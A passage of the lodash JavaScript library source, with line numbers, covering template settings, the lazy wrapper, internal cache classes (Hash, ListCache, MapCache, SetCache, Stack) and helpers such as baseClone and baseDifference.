1753 * By default, the template delimiters used by lodash are like those in
1754 * embedded Ruby (ERB) as well as ES2015 template strings. Change the
1755 * following template settings to use alternative delimiters.
1756 *
1757 * **Security:** See
1758 * [threat model](https://github.com/lodash/lodash/blob/main/threat-model.md)
1759 * — `_.template` is insecure and will be removed in v5.
1760 *
1761 * @static
1762 * @memberOf _
1763 * @type {Object}
1764 */
1765 lodash.templateSettings = {
1766
1767 /**
1768 * Used to detect `data` property values to be HTML-escaped.
1769 *
1770 * @memberOf _.templateSettings
1771 * @type {RegExp}
1772 */
1773 'escape': reEscape,
1774
1775 /**
1776 * Used to detect code to be evaluated.
1777 *
1778 * @memberOf _.templateSettings
1779 * @type {RegExp}
1780 */
1781 'evaluate': reEvaluate,
1782
1783 /**
1784 * Used to detect `data` property values to inject.
1785 *
1786 * @memberOf _.templateSettings
1787 * @type {RegExp}
1788 */
1789 'interpolate': reInterpolate,
1790
1791 /**
1792 * Used to reference the data object in the template text.
1793 *
1794 * @memberOf _.templateSettings
1795 * @type {string}
1796 */
1797 'variable': '',
1798
1799 /**
1800 * Used to import variables into the compiled template.
1801 *
1802 * @memberOf _.templateSettings
1803 * @type {Object}
1804 */
1805 'imports': {
1806
1807 /**
1808 * A reference to the `lodash` function.
1809 *
1810 * @memberOf _.templateSettings.imports
1811 * @type {Function}
1812 */
1813 '_': lodash
1814 }
1815 };
1816
1817 // Ensure wrappers are instances of `baseLodash`.
1818 lodash.prototype = baseLodash.prototype;
1819 lodash.prototype.constructor = lodash;
1820
1821 LodashWrapper.prototype = baseCreate(baseLodash.prototype);
1822 LodashWrapper.prototype.constructor = LodashWrapper;
1823
1824 /*------------------------------------------------------------------------*/
1825
1826 /**
1827 * Creates a lazy wrapper object which wraps `value` to enable lazy evaluation.
1828 *
1829 * @private
1830 * @constructor
1831 * @param {*} value The value to wrap.
1832 */
1833 function LazyWrapper(value) {
1834 this.__wrapped__ = value;
1835 this.__actions__ = [];
1836 this.__dir__ = 1;
1837 this.__filtered__ = false;
1838 this.__iteratees__ = [];
1839 this.__takeCount__ = MAX_ARRAY_LENGTH;
1840 this.__views__ = [];
1841 }
1842
1843 /**
1844 * Creates a clone of the lazy wrapper object.
1845 *
1846 * @private
1847 * @name clone
1848 * @memberOf LazyWrapper
1849 * @returns {Object} Returns the cloned `LazyWrapper` object.
1850 */
1851 function lazyClone() {
1852 var result = new LazyWrapper(this.__wrapped__);
1853 result.__actions__ = copyArray(this.__actions__);
1854 result.__dir__ = this.__dir__;
1855 result.__filtered__ = this.__filtered__;
1856 result.__iteratees__ = copyArray(this.__iteratees__);
1857 result.__takeCount__ = this.__takeCount__;
1858 result.__views__ = copyArray(this.__views__);
1859 return result;
1860 }
1861
1862 /**
1863 * Reverses the direction of lazy iteration.
1864 *
1865 * @private
1866 * @name reverse
1867 * @memberOf LazyWrapper
1868 * @returns {Object} Returns the new reversed `LazyWrapper` object.
1869 */
1870 function lazyReverse() {
1871 if (this.__filtered__) {
1872 var result = new LazyWrapper(this);
1873 result.__dir__ = -1;
1874 result.__filtered__ = true;
1875 } else {
1876 result = this.clone();
1877 result.__dir__ *= -1;
1878 }
1879 return result;
1880 }
1881
1882 /**
1883 * Extracts the unwrapped value from its lazy wrapper.
1884 *
1885 * @private
1886 * @name value
1887 * @memberOf LazyWrapper
1888 * @returns {*} Returns the unwrapped value.
1889 */
1890 function lazyValue() {
1891 var array = this.__wrapped__.value(),
1892 dir = this.__dir__,
1893 isArr = isArray(array),
1894 isRight = dir < 0,
1895 arrLength = isArr ? array.length : 0,
1896 view = getView(0, arrLength, this.__views__),
1897 start = view.start,
1898 end = view.end,
1899 length = end - start,
1900 index = isRight ? end : (start - 1),
1901 iteratees = this.__iteratees__,
1902 iterLength = iteratees.length,
1903 resIndex = 0,
1904 takeCount = nativeMin(length, this.__takeCount__);
1905
1906 if (!isArr || (!isRight && arrLength == length && takeCount == length)) {
1907 return baseWrapperValue(array, this.__actions__);
1908 }
1909 var result = [];
1910
1911 outer:
1912 while (length-- && resIndex < takeCount) {
1913 index += dir;
1914
1915 var iterIndex = -1,
1916 value = array[index];
1917
1918 while (++iterIndex < iterLength) {
1919 var data = iteratees[iterIndex],
1920 iteratee = data.iteratee,
1921 type = data.type,
1922 computed = iteratee(value);
1923
1924 if (type == LAZY_MAP_FLAG) {
1925 value = computed;
1926 } else if (!computed) {
1927 if (type == LAZY_FILTER_FLAG) {
1928 continue outer;
1929 } else {
1930 break outer;
1931 }
1932 }
1933 }
1934 result[resIndex++] = value;
1935 }
1936 return result;
1937 }
1938
1939 // Ensure `LazyWrapper` is an instance of `baseLodash`.
1940 LazyWrapper.prototype = baseCreate(baseLodash.prototype);
1941 LazyWrapper.prototype.constructor = LazyWrapper;
1942
1943 /*------------------------------------------------------------------------*/
1944
1945 /**
1946 * Creates a hash object.
1947 *
1948 * @private
1949 * @constructor
1950 * @param {Array} [entries] The key-value pairs to cache.
1951 */
1952 function Hash(entries) {
1953 var index = -1,
1954 length = entries == null ? 0 : entries.length;
1955
1956 this.clear();
1957 while (++index < length) {
1958 var entry = entries[index];
1959 this.set(entry[0], entry[1]);
1960 }
1961 }
1962
1963 /**
1964 * Removes all key-value entries from the hash.
1965 *
1966 * @private
1967 * @name clear
1968 * @memberOf Hash
1969 */
1970 function hashClear() {
1971 this.__data__ = nativeCreate ? nativeCreate(null) : {};
1972 this.size = 0;
1973 }
1974
1975 /**
1976 * Removes `key` and its value from the hash.
1977 *
1978 * @private
1979 * @name delete
1980 * @memberOf Hash
1981 * @param {Object} hash The hash to modify.
1982 * @param {string} key The key of the value to remove.
1983 * @returns {boolean} Returns `true` if the entry was removed, else `false`.
1984 */
1985 function hashDelete(key) {
1986 var result = this.has(key) && delete this.__data__[key];
1987 this.size -= result ? 1 : 0;
1988 return result;
1989 }
1990
1991 /**
1992 * Gets the hash value for `key`.
1993 *
1994 * @private
1995 * @name get
1996 * @memberOf Hash
1997 * @param {string} key The key of the value to get.
1998 * @returns {*} Returns the entry value.
1999 */
2000 function hashGet(key) {
2001 var data = this.__data__;
2002 if (nativeCreate) {
2003 var result = data[key];
2004 return result === HASH_UNDEFINED ? undefined : result;
2005 }
2006 return hasOwnProperty.call(data, key) ? data[key] : undefined;
2007 }
2008
2009 /**
2010 * Checks if a hash value for `key` exists.
2011 *
2012 * @private
2013 * @name has
2014 * @memberOf Hash
2015 * @param {string} key The key of the entry to check.
2016 * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
2017 */
2018 function hashHas(key) {
2019 var data = this.__data__;
2020 return nativeCreate ? (data[key] !== undefined) : hasOwnProperty.call(data, key);
2021 }
2022
2023 /**
2024 * Sets the hash `key` to `value`.
2025 *
2026 * @private
2027 * @name set
2028 * @memberOf Hash
2029 * @param {string} key The key of the value to set.
2030 * @param {*} value The value to set.
2031 * @returns {Object} Returns the hash instance.
2032 */
2033 function hashSet(key, value) {
2034 var data = this.__data__;
2035 this.size += this.has(key) ? 0 : 1;
2036 data[key] = (nativeCreate && value === undefined) ? HASH_UNDEFINED : value;
2037 return this;
2038 }
2039
2040 // Add methods to `Hash`.
2041 Hash.prototype.clear = hashClear;
2042 Hash.prototype['delete'] = hashDelete;
2043 Hash.prototype.get = hashGet;
2044 Hash.prototype.has = hashHas;
2045 Hash.prototype.set = hashSet;
2046
2047 /*------------------------------------------------------------------------*/
2048
2049 /**
2050 * Creates an list cache object.
2051 *
2052 * @private
2053 * @constructor
2054 * @param {Array} [entries] The key-value pairs to cache.
2055 */
2056 function ListCache(entries) {
2057 var index = -1,
2058 length = entries == null ? 0 : entries.length;
2059
2060 this.clear();
2061 while (++index < length) {
2062 var entry = entries[index];
2063 this.set(entry[0], entry[1]);
2064 }
2065 }
2066
2067 /**
2068 * Removes all key-value entries from the list cache.
2069 *
2070 * @private
2071 * @name clear
2072 * @memberOf ListCache
2073 */
2074 function listCacheClear() {
2075 this.__data__ = [];
2076 this.size = 0;
2077 }
2078
2079 /**
2080 * Removes `key` and its value from the list cache.
2081 *
2082 * @private
2083 * @name delete
2084 * @memberOf ListCache
2085 * @param {string} key The key of the value to remove.
2086 * @returns {boolean} Returns `true` if the entry was removed, else `false`.
2087 */
2088 function listCacheDelete(key) {
2089 var data = this.__data__,
2090 index = assocIndexOf(data, key);
2091
2092 if (index < 0) {
2093 return false;
2094 }
2095 var lastIndex = data.length - 1;
2096 if (index == lastIndex) {
2097 data.pop();
2098 } else {
2099 splice.call(data, index, 1);
2100 }
2101 --this.size;
2102 return true;
2103 }
2104
2105 /**
2106 * Gets the list cache value for `key`.
2107 *
2108 * @private
2109 * @name get
2110 * @memberOf ListCache
2111 * @param {string} key The key of the value to get.
2112 * @returns {*} Returns the entry value.
2113 */
2114 function listCacheGet(key) {
2115 var data = this.__data__,
2116 index = assocIndexOf(data, key);
2117
2118 return index < 0 ? undefined : data[index][1];
2119 }
2120
2121 /**
2122 * Checks if a list cache value for `key` exists.
2123 *
2124 * @private
2125 * @name has
2126 * @memberOf ListCache
2127 * @param {string} key The key of the entry to check.
2128 * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
2129 */
2130 function listCacheHas(key) {
2131 return assocIndexOf(this.__data__, key) > -1;
2132 }
2133
2134 /**
2135 * Sets the list cache `key` to `value`.
2136 *
2137 * @private
2138 * @name set
2139 * @memberOf ListCache
2140 * @param {string} key The key of the value to set.
2141 * @param {*} value The value to set.
2142 * @returns {Object} Returns the list cache instance.
2143 */
2144 function listCacheSet(key, value) {
2145 var data = this.__data__,
2146 index = assocIndexOf(data, key);
2147
2148 if (index < 0) {
2149 ++this.size;
2150 data.push([key, value]);
2151 } else {
2152 data[index][1] = value;
2153 }
2154 return this;
2155 }
2156
2157 // Add methods to `ListCache`.
2158 ListCache.prototype.clear = listCacheClear;
2159 ListCache.prototype['delete'] = listCacheDelete;
2160 ListCache.prototype.get = listCacheGet;
2161 ListCache.prototype.has = listCacheHas;
2162 ListCache.prototype.set = listCacheSet;
2163
2164 /*------------------------------------------------------------------------*/
2165
2166 /**
2167 * Creates a map cache object to store key-value pairs.
2168 *
2169 * @private
2170 * @constructor
2171 * @param {Array} [entries] The key-value pairs to cache.
2172 */
2173 function MapCache(entries) {
2174 var index = -1,
2175 length = entries == null ? 0 : entries.length;
2176
2177 this.clear();
2178 while (++index < length) {
2179 var entry = entries[index];
2180 this.set(entry[0], entry[1]);
2181 }
2182 }
2183
2184 /**
2185 * Removes all key-value entries from the map.
2186 *
2187 * @private
2188 * @name clear
2189 * @memberOf MapCache
2190 */
2191 function mapCacheClear() {
2192 this.size = 0;
2193 this.__data__ = {
2194 'hash': new Hash,
2195 'map': new (Map || ListCache),
2196 'string': new Hash
2197 };
2198 }
2199
2200 /**
2201 * Removes `key` and its value from the map.
2202 *
2203 * @private
2204 * @name delete
2205 * @memberOf MapCache
2206 * @param {string} key The key of the value to remove.
2207 * @returns {boolean} Returns `true` if the entry was removed, else `false`.
2208 */
2209 function mapCacheDelete(key) {
2210 var result = getMapData(this, key)['delete'](key);
2211 this.size -= result ? 1 : 0;
2212 return result;
2213 }
2214
2215 /**
2216 * Gets the map value for `key`.
2217 *
2218 * @private
2219 * @name get
2220 * @memberOf MapCache
2221 * @param {string} key The key of the value to get.
2222 * @returns {*} Returns the entry value.
2223 */
2224 function mapCacheGet(key) {
2225 return getMapData(this, key).get(key);
2226 }
2227
2228 /**
2229 * Checks if a map value for `key` exists.
2230 *
2231 * @private
2232 * @name has
2233 * @memberOf MapCache
2234 * @param {string} key The key of the entry to check.
2235 * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
2236 */
2237 function mapCacheHas(key) {
2238 return getMapData(this, key).has(key);
2239 }
2240
2241 /**
2242 * Sets the map `key` to `value`.
2243 *
2244 * @private
2245 * @name set
2246 * @memberOf MapCache
2247 * @param {string} key The key of the value to set.
2248 * @param {*} value The value to set.
2249 * @returns {Object} Returns the map cache instance.
2250 */
2251 function mapCacheSet(key, value) {
2252 var data = getMapData(this, key),
2253 size = data.size;
2254
2255 data.set(key, value);
2256 this.size += data.size == size ? 0 : 1;
2257 return this;
2258 }
2259
2260 // Add methods to `MapCache`.
2261 MapCache.prototype.clear = mapCacheClear;
2262 MapCache.prototype['delete'] = mapCacheDelete;
2263 MapCache.prototype.get = mapCacheGet;
2264 MapCache.prototype.has = mapCacheHas;
2265 MapCache.prototype.set = mapCacheSet;
2266
2267 /*------------------------------------------------------------------------*/
2268
2269 /**
2270 *
2271 * Creates an array cache object to store unique values.
2272 *
2273 * @private
2274 * @constructor
2275 * @param {Array} [values] The values to cache.
2276 */
2277 function SetCache(values) {
2278 var index = -1,
2279 length = values == null ? 0 : values.length;
2280
2281 this.__data__ = new MapCache;
2282 while (++index < length) {
2283 this.add(values[index]);
2284 }
2285 }
2286
2287 /**
2288 * Adds `value` to the array cache.
2289 *
2290 * @private
2291 * @name add
2292 * @memberOf SetCache
2293 * @alias push
2294 * @param {*} value The value to cache.
2295 * @returns {Object} Returns the cache instance.
2296 */
2297 function setCacheAdd(value) {
2298 this.__data__.set(value, HASH_UNDEFINED);
2299 return this;
2300 }
2301
2302 /**
2303 * Checks if `value` is in the array cache.
2304 *
2305 * @private
2306 * @name has
2307 * @memberOf SetCache
2308 * @param {*} value The value to search for.
2309 * @returns {boolean} Returns `true` if `value` is found, else `false`.
2310 */
2311 function setCacheHas(value) {
2312 return this.__data__.has(value);
2313 }
2314
2315 // Add methods to `SetCache`.
2316 SetCache.prototype.add = SetCache.prototype.push = setCacheAdd;
2317 SetCache.prototype.has = setCacheHas;
2318
2319 /*------------------------------------------------------------------------*/
2320
2321 /**
2322 * Creates a stack cache object to store key-value pairs.
2323 *
2324 * @private
2325 * @constructor
2326 * @param {Array} [entries] The key-value pairs to cache.
2327 */
2328 function Stack(entries) {
2329 var data = this.__data__ = new ListCache(entries);
2330 this.size = data.size;
2331 }
2332
2333 /**
2334 * Removes all key-value entries from the stack.
2335 *
2336 * @private
2337 * @name clear
2338 * @memberOf Stack
2339 */
2340 function stackClear() {
2341 this.__data__ = new ListCache;
2342 this.size = 0;
2343 }
2344
2345 /**
2346 * Removes `key` and its value from the stack.
2347 *
2348 * @private
2349 * @name delete
2350 * @memberOf Stack
2351 * @param {string} key The key of the value to remove.
2352 * @returns {boolean} Returns `true` if the entry was removed, else `false`.
2353 */
2354 function stackDelete(key) {
2355 var data = this.__data__,
2356 result = data['delete'](key);
2357
2358 this.size = data.size;
2359 return result;
2360 }
2361
2362 /**
2363 * Gets the stack value for `key`.
2364 *
2365 * @private
2366 * @name get
2367 * @memberOf Stack
2368 * @param {string} key The key of the value to get.
2369 * @returns {*} Returns the entry value.
2370 */
2371 function stackGet(key) {
2372 return this.__data__.get(key);
2373 }
2374
2375 /**
2376 * Checks if a stack value for `key` exists.
2377 *
2378 * @private
2379 * @name has
2380 * @memberOf Stack
2381 * @param {string} key The key of the entry to check.
2382 * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
2383 */
2384 function stackHas(key) {
2385 return this.__data__.has(key);
2386 }
2387
2388 /**
2389 * Sets the stack `key` to `value`.
2390 *
2391 * @private
2392 * @name set
2393 * @memberOf Stack
2394 * @param {string} key The key of the value to set.
2395 * @param {*} value The value to set.
2396 * @returns {Object} Returns the stack cache instance.
2397 */
2398 function stackSet(key, value) {
2399 var data = this.__data__;
2400 if (data instanceof ListCache) {
2401 var pairs = data.__data__;
2402 if (!Map || (pairs.length < LARGE_ARRAY_SIZE - 1)) {
2403 pairs.push([key, value]);
2404 this.size = ++data.size;
2405 return this;
2406 }
2407 data = this.__data__ = new MapCache(pairs);
2408 }
2409 data.set(key, value);
2410 this.size = data.size;
2411 return this;
2412 }
2413
2414 // Add methods to `Stack`.
2415 Stack.prototype.clear = stackClear;
2416 Stack.prototype['delete'] = stackDelete;
2417 Stack.prototype.get = stackGet;
2418 Stack.prototype.has = stackHas;
2419 Stack.prototype.set = stackSet;
2420
2421 /*------------------------------------------------------------------------*/
2422
2423 /**
2424 * Creates an array of the enumerable property names of the array-like `value`.
2425 *
2426 * @private
2427 * @param {*} value The value to query.
2428 * @param {boolean} inherited Specify returning inherited property names.
2429 * @returns {Array} Returns the array of property names.
2430 */
2431 function arrayLikeKeys(value, inherited) {
2432 var isArr = isArray(value),
2433 isArg = !isArr && isArguments(value),
2434 isBuff = !isArr && !isArg && isBuffer(value),
2435 isType = !isArr && !isArg && !isBuff && isTypedArray(value),
2436 skipIndexes = isArr || isArg || isBuff || isType,
2437 result = skipIndexes ? baseTimes(value.length, String) : [],
2438 length = result.length;
2439
2440 for (var key in value) {
2441 if ((inherited || hasOwnProperty.call(value, key)) &&
2442 !(skipIndexes && (
2443 // Safari 9 has enumerable `arguments.length` in strict mode.
2444 key == 'length' ||
2445 // Node.js 0.10 has enumerable non-index properties on buffers.
2446 (isBuff && (key == 'offset' || key == 'parent')) ||
2447 // PhantomJS 2 has enumerable non-index properties on typed arrays.
2448 (isType && (key == 'buffer' || key == 'byteLength' || key == 'byteOffset')) ||
2449 // Skip index properties.
2450 isIndex(key, length)
2451 ))) {
2452 result.push(key);
2453 }
2454 }
2455 return result;
2456 }
2457
2458 /**
2459 * A specialized version of `_.sample` for arrays.
2460 *
2461 * @private
2462 * @param {Array} array The array to sample.
2463 * @returns {*} Returns the random element.
2464 */
2465 function arraySample(array) {
2466 var length = array.length;
2467 return length ? array[baseRandom(0, length - 1)] : undefined;
2468 }
2469
2470 /**
2471 * A specialized version of `_.sampleSize` for arrays.
2472 *
2473 * @private
2474 * @param {Array} array The array to sample.
2475 * @param {number} n The number of elements to sample.
2476 * @returns {Array} Returns the random elements.
2477 */
2478 function arraySampleSize(array, n) {
2479 return shuffleSelf(copyArray(array), baseClamp(n, 0, array.length));
2480 }
2481
2482 /**
2483 * A specialized version of `_.shuffle` for arrays.
2484 *
2485 * @private
2486 * @param {Array} array The array to shuffle.
2487 * @returns {Array} Returns the new shuffled array.
2488 */
2489 function arrayShuffle(array) {
2490 return shuffleSelf(copyArray(array));
2491 }
2492
2493 /**
2494 * This function is like `assignValue` except that it doesn't assign
2495 * `undefined` values.
2496 *
2497 * @private
2498 * @param {Object} object The object to modify.
2499 * @param {string} key The key of the property to assign.
2500 * @param {*} value The value to assign.
2501 */
2502 function assignMergeValue(object, key, value) {
2503 if ((value !== undefined && !eq(object[key], value)) ||
2504 (value === undefined && !(key in object))) {
2505 baseAssignValue(object, key, value);
2506 }
2507 }
2508
2509 /**
2510 * Assigns `value` to `key` of `object` if the existing value is not equivalent
2511 * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
2512 * for equality comparisons.
2513 *
2514 * @private
2515 * @param {Object} object The object to modify.
2516 * @param {string} key The key of the property to assign.
2517 * @param {*} value The value to assign.
2518 */
2519 function assignValue(object, key, value) {
2520 var objValue = object[key];
2521 if (!(hasOwnProperty.call(object, key) && eq(objValue, value)) ||
2522 (value === undefined && !(key in object))) {
2523 baseAssignValue(object, key, value);
2524 }
2525 }
2526
2527 /**
2528 * Gets the index at which the `key` is found in `array` of key-value pairs.
2529 *
2530 * @private
2531 * @param {Array} array The array to inspect.
2532 * @param {*} key The key to search for.
2533 * @returns {number} Returns the index of the matched value, else `-1`.
2534 */
2535 function assocIndexOf(array, key) {
2536 var length = array.length;
2537 while (length--) {
2538 if (eq(array[length][0], key)) {
2539 return length;
2540 }
2541 }
2542 return -1;
2543 }
2544
2545 /**
2546 * Aggregates elements of `collection` on `accumulator` with keys transformed
2547 * by `iteratee` and values set by `setter`.
2548 *
2549 * @private
2550 * @param {Array|Object} collection The collection to iterate over.
2551 * @param {Function} setter The function to set `accumulator` values.
2552 * @param {Function} iteratee The iteratee to transform keys.
2553 * @param {Object} accumulator The initial aggregated object.
2554 * @returns {Function} Returns `accumulator`.
2555 */
2556 function baseAggregator(collection, setter, iteratee, accumulator) {
2557 baseEach(collection, function(value, key, collection) {
2558 setter(accumulator, value, iteratee(value), collection);
2559 });
2560 return accumulator;
2561 }
2562
2563 /**
2564 * The base implementation of `_.assign` without support for multiple sources
2565 * or `customizer` functions.
2566 *
2567 * @private
2568 * @param {Object} object The destination object.
2569 * @param {Object} source The source object.
2570 * @returns {Object} Returns `object`.
2571 */
2572 function baseAssign(object, source) {
2573 return object && copyObject(source, keys(source), object);
2574 }
2575
2576 /**
2577 * The base implementation of `_.assignIn` without support for multiple sources
2578 * or `customizer` functions.
2579 *
2580 * @private
2581 * @param {Object} object The destination object.
2582 * @param {Object} source The source object.
2583 * @returns {Object} Returns `object`.
2584 */
2585 function baseAssignIn(object, source) {
2586 return object && copyObject(source, keysIn(source), object);
2587 }
2588
2589 /**
2590 * The base implementation of `assignValue` and `assignMergeValue` without
2591 * value checks.
2592 *
2593 * @private
2594 * @param {Object} object The object to modify.
2595 * @param {string} key The key of the property to assign.
2596 * @param {*} value The value to assign.
2597 */
2598 function baseAssignValue(object, key, value) {
2599 if (key == '__proto__' && defineProperty) {
2600 defineProperty(object, key, {
2601 'configurable': true,
2602 'enumerable': true,
2603 'value': value,
2604 'writable': true
2605 });
2606 } else {
2607 object[key] = value;
2608 }
2609 }
2610
2611 /**
2612 * The base implementation of `_.at` without support for individual paths.
2613 *
2614 * @private
2615 * @param {Object} object The object to iterate over.
2616 * @param {string[]} paths The property paths to pick.
2617 * @returns {Array} Returns the picked elements.
2618 */
2619 function baseAt(object, paths) {
2620 var index = -1,
2621 length = paths.length,
2622 result = Array(length),
2623 skip = object == null;
2624
2625 while (++index < length) {
2626 result[index] = skip ? undefined : get(object, paths[index]);
2627 }
2628 return result;
2629 }
2630
2631 /**
2632 * The base implementation of `_.clamp` which doesn't coerce arguments.
2633 *
2634 * @private
2635 * @param {number} number The number to clamp.
2636 * @param {number} [lower] The lower bound.
2637 * @param {number} upper The upper bound.
2638 * @returns {number} Returns the clamped number.
2639 */
2640 function baseClamp(number, lower, upper) {
2641 if (number === number) {
2642 if (upper !== undefined) {
2643 number = number <= upper ? number : upper;
2644 }
2645 if (lower !== undefined) {
2646 number = number >= lower ? number : lower;
2647 }
2648 }
2649 return number;
2650 }
2651
2652 /**
2653 * The base implementation of `_.clone` and `_.cloneDeep` which tracks
2654 * traversed objects.
2655 *
2656 * @private
2657 * @param {*} value The value to clone.
2658 * @param {boolean} bitmask The bitmask flags.
2659 * 1 - Deep clone
2660 * 2 - Flatten inherited properties
2661 * 4 - Clone symbols
2662 * @param {Function} [customizer] The function to customize cloning.
2663 * @param {string} [key] The key of `value`.
2664 * @param {Object} [object] The parent object of `value`.
2665 * @param {Object} [stack] Tracks traversed objects and their clone counterparts.
2666 * @returns {*} Returns the cloned value.
2667 */
2668 function baseClone(value, bitmask, customizer, key, object, stack) {
2669 var result,
2670 isDeep = bitmask & CLONE_DEEP_FLAG,
2671 isFlat = bitmask & CLONE_FLAT_FLAG,
2672 isFull = bitmask & CLONE_SYMBOLS_FLAG;
2673
2674 if (customizer) {
2675 result = object ? customizer(value, key, object, stack) : customizer(value);
2676 }
2677 if (result !== undefined) {
2678 return result;
2679 }
2680 if (!isObject(value)) {
2681 return value;
2682 }
2683 var isArr = isArray(value);
2684 if (isArr) {
2685 result = initCloneArray(value);
2686 if (!isDeep) {
2687 return copyArray(value, result);
2688 }
2689 } else {
2690 var tag = getTag(value),
2691 isFunc = tag == funcTag || tag == genTag;
2692
2693 if (isBuffer(value)) {
2694 return cloneBuffer(value, isDeep);
2695 }
2696 if (tag == objectTag || tag == argsTag || (isFunc && !object)) {
2697 result = (isFlat || isFunc) ? {} : initCloneObject(value);
2698 if (!isDeep) {
2699 return isFlat
2700 ? copySymbolsIn(value, baseAssignIn(result, value))
2701 : copySymbols(value, baseAssign(result, value));
2702 }
2703 } else {
2704 if (!cloneableTags[tag]) {
2705 return object ? value : {};
2706 }
2707 result = initCloneByTag(value, tag, isDeep);
2708 }
2709 }
2710 // Check for circular references and return its corresponding clone.
2711 stack || (stack = new Stack);
2712 var stacked = stack.get(value);
2713 if (stacked) {
2714 return stacked;
2715 }
2716 stack.set(value, result);
2717
2718 if (isSet(value)) {
2719 value.forEach(function(subValue) {
2720 result.add(baseClone(subValue, bitmask, customizer, subValue, value, stack));
2721 });
2722 } else if (isMap(value)) {
2723 value.forEach(function(subValue, key) {
2724 result.set(key, baseClone(subValue, bitmask, customizer, key, value, stack));
2725 });
2726 }
2727
2728 var keysFunc = isFull
2729 ? (isFlat ? getAllKeysIn : getAllKeys)
2730 : (isFlat ? keysIn : keys);
2731
2732 var props = isArr ? undefined : keysFunc(value);
2733 arrayEach(props || value, function(subValue, key) {
2734 if (props) {
2735 key = subValue;
2736 subValue = value[key];
2737 }
2738 // Recursively populate clone (susceptible to call stack limits).
2739 assignValue(result, key, baseClone(subValue, bitmask, customizer, key, value, stack));
2740 });
2741 return result;
2742 }
2743
2744 /**
2745 * The base implementation of `_.conforms` which doesn't clone `source`.
2746 *
2747 * @private
2748 * @param {Object} source The object of property predicates to conform to.
2749 * @returns {Function} Returns the new spec function.
2750 */
2751 function baseConforms(source) {
2752 var props = keys(source);
2753 return function(object) {
2754 return baseConformsTo(object, source, props);
2755 };
2756 }
2757
2758 /**
2759 * The base implementation of `_.conformsTo` which accepts `props` to check.
2760 *
2761 * @private
2762 * @param {Object} object The object to inspect.
2763 * @param {Object} source The object of property predicates to conform to.
2764 * @returns {boolean} Returns `true` if `object` conforms, else `false`.
2765 */
2766 function baseConformsTo(object, source, props) {
2767 var length = props.length;
2768 if (object == null) {
2769 return !length;
2770 }
2771 object = Object(object);
2772 while (length--) {
2773 var key = props[length],
2774 predicate = source[key],
2775 value = object[key];
2776
2777 if ((value === undefined && !(key in object)) || !predicate(value)) {
2778 return false;
2779 }
2780 }
2781 return true;
2782 }
2783
2784 /**
2785 * The base implementation of `_.delay` and `_.defer` which accepts `args`
2786 * to provide to `func`.
2787 *
2788 * @private
2789 * @param {Function} func The function to delay.
2790 * @param {number} wait The number of milliseconds to delay invocation.
2791 * @param {Array} args The arguments to provide to `func`.
2792 * @returns {number|Object} Returns the timer id or timeout object.
2793 */
2794 function baseDelay(func, wait, args) {
2795 if (typeof func != 'function') {
2796 throw new TypeError(FUNC_ERROR_TEXT);
2797 }
2798 return setTimeout(function() { func.apply(undefined, args); }, wait);
2799 }
2800
2801 /**
2802 * The base implementation of methods like `_.difference` without support
2803 * for excluding multiple arrays or iteratee shorthands.
2804 *
2805 * @private
2806 * @param {Array} array The array to inspect.
2807 * @param {Array} values The values to exclude.
2808 * @param {Function} [iteratee] The iteratee invoked per element.
2809 * @param {Function} [comparator] The comparator invoked per element.
2810 * @returns {Array} Returns the new array of filtered values.
2811 */
2812 function baseDifference(array, values, iteratee, comparator) {
2813 var index = -1,
2814 includes = arrayIncludes,
2815 isCommon = true,
2816 length = array.length,
2817 result = [],
2818 valuesLength = values.length;
2819
2820 if (!length) {
2821 return result;
2822 }
2823 if (iteratee) {
2824 values = arrayMap(values, baseUnary(iteratee));
2825 }
2826 if (comparator) {
2827 includes = arrayIncludesWith;
2828 isCommon = false;
2829 }
2830 else if (values.length >= LARGE_ARRAY_SIZE) {
2831 includes = cacheHas;
2832 isCommon = false;
2833 values = new SetCache(values);
2834 }
2835 outer:
2836 while (++index < length) {
2837 var value = array[index],
2838 computed = iteratee == null ? value : iteratee(value);
2839
2840 value = (comparator || value !== 0) ? value : 0;
2841 if (isCommon && computed === computed) {
2842 var valuesIndex = valuesLength;
2843 while (valuesIndex--) {
2844 if (values[valuesIndex] === computed) {
2845 continue outer;
2846 }
2847 }
2848 result.push(value);
2849 }
2850 else if (!includes(values, computed, comparator)) {
2851 result.push(value);
2852 }
2853 }
2854 return result;
2855 }
2856
2857 /**
2858 * The base implementation of `_.forEach` without support for iteratee shorthands.
2859 *
2860 * @private
2861 * @param {Array|Object} collection The collection to iterate over.
2862 * @param {Function} iteratee The function invoked per iteration.
2863 * @returns {Array|Object} Returns `collection`.
2864 */
2865 var baseEach = createBaseEach(baseForOwn);
2866
2867 /**
2868 * The base implementation of `_.forEachRight` without support for iteratee shorthands.
2869 *
2870 * @private
2871 * @param {Array|Object} collection The collection to iterate over.
2872 * @param {Function} iteratee The function invoked per iteration.
2873 * @returns {Array|Object} Returns `collection`.
2874 */
2875 var baseEachRight = createBaseEach(baseForOwnRight, true);
2876
2877 /**
2878 * The base implementation of `_.every` without support for iteratee shorthands.
2879 *
2880 * @private
2881 * @param {Array|Object} collection The collection to iterate over.
2882 * @param {Function} predicate The function invoked per iteration.
2883 * @returns {boolean} Returns `true` if all elements pass the predicate check,
2884 * else `false`
2885 */
2886 function baseEvery(collection, predicate) {
2887 var result = true;
2888 baseEach(collection, function(value, index, collection) {
2889 result = !!predicate(value, index, collection);
2890 return result;
2891 });
2892 return result;
2893 }
2894
2895 /**
2896 * The base implementation of methods like `_.max` and `_.min` which accepts a
2897 * `comparator` to determine the extremum value.
2898 *
2899 * @private
2900 * @param {Array} array The array to iterate over.
2901 * @param {Function} iteratee The iteratee invoked per iteration.
2902 * @param {Function} comparator The comparator used to compare values.
2903 * @returns {*} Returns the extremum value.
2904 */
2905 function baseExtremum(array, iteratee, comparator) {
2906 var index = -1,
2907 length = array.length;
2908
2909 while (++index < length) {
2910 var value = array[index],
2911 current = iteratee(value);
2912
2913 if (current != null && (computed === undefined
2914 ? (current === current && !isSymbol(current))
2915 : comparator(current, computed)
2916 )) {
2917 var computed = current,
2918 result = value;
2919 }
2920 }
2921 return result;
2922 }
2923
2924 /**
2925 * The base implementation of `_.fill` without an iteratee call guard.
2926 *
2927 * @private
2928 * @param {Array} array The array to fill.
2929 * @param {*} value The value to fill `array` with.
2930 * @param {number} [start=0] The start position.
2931 * @param {number} [end=array.length] The end position.
2932 * @returns {Array} Returns `array`.
